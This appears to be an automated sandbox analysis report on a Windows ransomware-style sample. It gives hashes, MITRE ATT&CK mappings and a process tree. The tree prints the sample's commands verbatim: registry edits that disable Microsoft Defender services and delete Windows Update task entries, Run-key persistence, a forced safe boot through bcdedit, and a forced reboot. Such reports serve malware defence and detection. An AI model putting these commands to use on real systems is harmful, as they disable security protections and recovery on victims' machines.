e59e7db0c75cef4bb6e057d725bae7ed5e13fd011b54fe39c3fe7cdb123b684f

Analysis

max time kernel
50s
max time network
56s
platform
windows7_x64
resource
win7-20220414-en
submitted
20-06-2022 13:51

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General

Target

5282f373b4dbab1b939b625d05d45442e8c008eeb6fa5d3c1f587cf80afa21ff.exe
Size

92KB
MD5

fd8050fe993e55914b1608dd1828f540
SHA1

8d8de88ec4baaeb504b4cdf959fd0d76fd346818
SHA256

5282f373b4dbab1b939b625d05d45442e8c008eeb6fa5d3c1f587cf80afa21ff
SHA512

ac73a5a33b2c9549b678ccf7dd48242f7563eb15b1cc75f3d28e170b72d09f6a4424e75f20c049f603b04c2536f03aa96fae50a6c3f12dbb5f7075ef9dd9e60d

Score

9^/10

evasion persistence ransomware

Malware Config

Signatures

Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
832	bcdedit.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Windows\CurrentVersion\Run\app-fix = "schtasks /run /tn cmd_b"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\*ddf-fix = "C:\\fixes\\ddefender\\fix.cmd"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 8 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1768	schtasks.exe
1424	schtasks.exe
1556	schtasks.exe
1392	schtasks.exe
592	schtasks.exe
956	schtasks.exe
560	schtasks.exe
2000	schtasks.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	704	shutdown.exe
Token: SeRemoteShutdownPrivilege	704	shutdown.exe

Suspicious use of WriteProcessMemory 56 IoCs

description	pid	Process	procid_target
PID 1480 wrote to memory of 1584	1480	5282f373b4dbab1b939b625d05d45442e8c008eeb6fa5d3c1f587cf80afa21ff.exe	28
PID 1480 wrote to memory of 1584	1480	5282f373b4dbab1b939b625d05d45442e8c008eeb6fa5d3c1f587cf80afa21ff.exe	28
PID 1480 wrote to memory of 1584	1480	5282f373b4dbab1b939b625d05d45442e8c008eeb6fa5d3c1f587cf80afa21ff.exe	28
PID 1480 wrote to memory of 1584	1480	5282f373b4dbab1b939b625d05d45442e8c008eeb6fa5d3c1f587cf80afa21ff.exe	28
PID 1584 wrote to memory of 1424	1584	cmd.exe	30
PID 1584 wrote to memory of 1424	1584	cmd.exe	30
PID 1584 wrote to memory of 1424	1584	cmd.exe	30
PID 1584 wrote to memory of 1424	1584	cmd.exe	30
PID 1584 wrote to memory of 1556	1584	cmd.exe	31
PID 1584 wrote to memory of 1556	1584	cmd.exe	31
PID 1584 wrote to memory of 1556	1584	cmd.exe	31
PID 1584 wrote to memory of 1556	1584	cmd.exe	31
PID 1584 wrote to memory of 1392	1584	cmd.exe	32
PID 1584 wrote to memory of 1392	1584	cmd.exe	32
PID 1584 wrote to memory of 1392	1584	cmd.exe	32
PID 1584 wrote to memory of 1392	1584	cmd.exe	32
PID 1584 wrote to memory of 592	1584	cmd.exe	33
PID 1584 wrote to memory of 592	1584	cmd.exe	33
PID 1584 wrote to memory of 592	1584	cmd.exe	33
PID 1584 wrote to memory of 592	1584	cmd.exe	33
PID 1584 wrote to memory of 956	1584	cmd.exe	34
PID 1584 wrote to memory of 956	1584	cmd.exe	34
PID 1584 wrote to memory of 956	1584	cmd.exe	34
PID 1584 wrote to memory of 956	1584	cmd.exe	34
PID 1584 wrote to memory of 560	1584	cmd.exe	35
PID 1584 wrote to memory of 560	1584	cmd.exe	35
PID 1584 wrote to memory of 560	1584	cmd.exe	35
PID 1584 wrote to memory of 560	1584	cmd.exe	35
PID 1584 wrote to memory of 2000	1584	cmd.exe	36
PID 1584 wrote to memory of 2000	1584	cmd.exe	36
PID 1584 wrote to memory of 2000	1584	cmd.exe	36
PID 1584 wrote to memory of 2000	1584	cmd.exe	36
PID 1584 wrote to memory of 1768	1584	cmd.exe	37
PID 1584 wrote to memory of 1768	1584	cmd.exe	37
PID 1584 wrote to memory of 1768	1584	cmd.exe	37
PID 1584 wrote to memory of 1768	1584	cmd.exe	37
PID 1584 wrote to memory of 1704	1584	cmd.exe	38
PID 1584 wrote to memory of 1704	1584	cmd.exe	38
PID 1584 wrote to memory of 1704	1584	cmd.exe	38
PID 1584 wrote to memory of 1704	1584	cmd.exe	38
PID 1584 wrote to memory of 1784	1584	cmd.exe	39
PID 1584 wrote to memory of 1784	1584	cmd.exe	39
PID 1584 wrote to memory of 1784	1584	cmd.exe	39
PID 1584 wrote to memory of 1784	1584	cmd.exe	39
PID 1852 wrote to memory of 436	1852	taskeng.exe	41
PID 1852 wrote to memory of 436	1852	taskeng.exe	41
PID 1852 wrote to memory of 436	1852	taskeng.exe	41
PID 436 wrote to memory of 1812	436	cmd.exe	43
PID 436 wrote to memory of 1812	436	cmd.exe	43
PID 436 wrote to memory of 1812	436	cmd.exe	43
PID 436 wrote to memory of 832	436	cmd.exe	44
PID 436 wrote to memory of 832	436	cmd.exe	44
PID 436 wrote to memory of 832	436	cmd.exe	44
PID 436 wrote to memory of 704	436	cmd.exe	45
PID 436 wrote to memory of 704	436	cmd.exe	45
PID 436 wrote to memory of 704	436	cmd.exe	45

C:\Users\Admin\AppData\Local\Temp\5282f373b4dbab1b939b625d05d45442e8c008eeb6fa5d3c1f587cf80afa21ff.exe
"C:\Users\Admin\AppData\Local\Temp\5282f373b4dbab1b939b625d05d45442e8c008eeb6fa5d3c1f587cf80afa21ff.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1480
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c %SYSTEMDRIVE%\fixes\tsk.cmd
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1584
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc once /tn cmd_a /tr C:\fixes\ddefender\run.cmd /rl highest /st 00:00
    3⤵
    - Creates scheduled task(s)
    PID:1424
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc once /tn cmd_b /tr C:\fixes\base\run.cmd /rl highest /st 00:00
    3⤵
    - Creates scheduled task(s)
    PID:1556
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc once /tn cmd_c /tr "reg delete \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\InstallService\" /f" /ru SYSTEM /st 00:00
    3⤵
    - Creates scheduled task(s)
    PID:1392
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc once /tn cmd_d /tr "reg delete \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\WaaSMedic\" /f" /ru SYSTEM /st 00:00
    3⤵
    - Creates scheduled task(s)
    PID:592
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc once /tn cmd_e /tr "reg delete \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\UpdateOrchestrator\" /f" /ru SYSTEM /st 00:00
    3⤵
    - Creates scheduled task(s)
    PID:956
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc once /tn cmd_f /tr "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t REG_DWORD /d 4 /f" /ru SYSTEM /st 00:00
    3⤵
    - Creates scheduled task(s)
    PID:560
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc once /tn cmd_g /tr "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v Start /t REG_DWORD /d 4 /f" /ru SYSTEM /st 00:00
    3⤵
    - Creates scheduled task(s)
    PID:2000
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc once /tn cmd_h /tr "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v Start /t REG_DWORD /d 4 /f" /ru SYSTEM /st 00:00
    3⤵
    - Creates scheduled task(s)
    PID:1768
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "app-fix" /t REG_SZ /d "schtasks /run /tn cmd_b" /f
    3⤵
    - Adds Run key to start application
    PID:1704
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /tn cmd_a
    3⤵
    PID:1784

C:\Windows\system32\taskeng.exe
taskeng.exe {D75CE294-4101-44CD-9909-15F39A7D905F} S-1-5-21-1083475884-596052423-1669053738-1000:WYZSGDWS\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:1852
- C:\Windows\SYSTEM32\cmd.exe
  C:\Windows\SYSTEM32\cmd.exe /c "C:\fixes\ddefender\run.cmd"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:436
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "*ddf-fix" /t REG_SZ /d "C:\fixes\ddefender\fix.cmd" /f
    3⤵
    - Adds Run key to start application
    PID:1812
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} safeboot minimal
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:832
- - C:\Windows\system32\shutdown.exe
    shutdown -f -r -t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:704

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:1188

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:1504

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

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Downloads

C:\fixes\ddefender\run.cmd

Filesize
229B

MD5
38a528fbb40d3bc0fae336303e71d0be

SHA1
300c605491419966f209a81557e957fe7b860d73

SHA256
857b07248e7bc3c573d4c3342b6dcfc92403bcf8a09db6fe0d86b13deae254ec

SHA512
01c842503aae63e8cfbff53758137813a50c7ff0c8d6a3e2da81b2e46ea41b5be866086da54b9b1928d6411d0000780f491aa2f3a794b87ef042782e8496aee0

Download Submit
C:\fixes\tsk.cmd

Filesize
1KB

MD5
5719ce24c0d7577a2b23bfbf9267bc2c

SHA1
5ea8756d8b80563502809a3200b508474c7285d5

SHA256
e6a7502f80a1519ef1dde70104ac6a24e2d257f6634e3ff1eb71a9bfde8fdf2a

SHA512
fc970ecb526e57b67e277ad5a520925fa49a65565c9824011d8de425722623945cdd21de35826bbbb7187b24eaa16e8303391b42ce7fbb37777e38b315e2d132

Download Submit
memory/1188-72-0x000007FEFB6D1000-0x000007FEFB6D3000-memory.dmp

Filesize
8KB

Download
memory/1480-54-0x0000000074F91000-0x0000000074F93000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads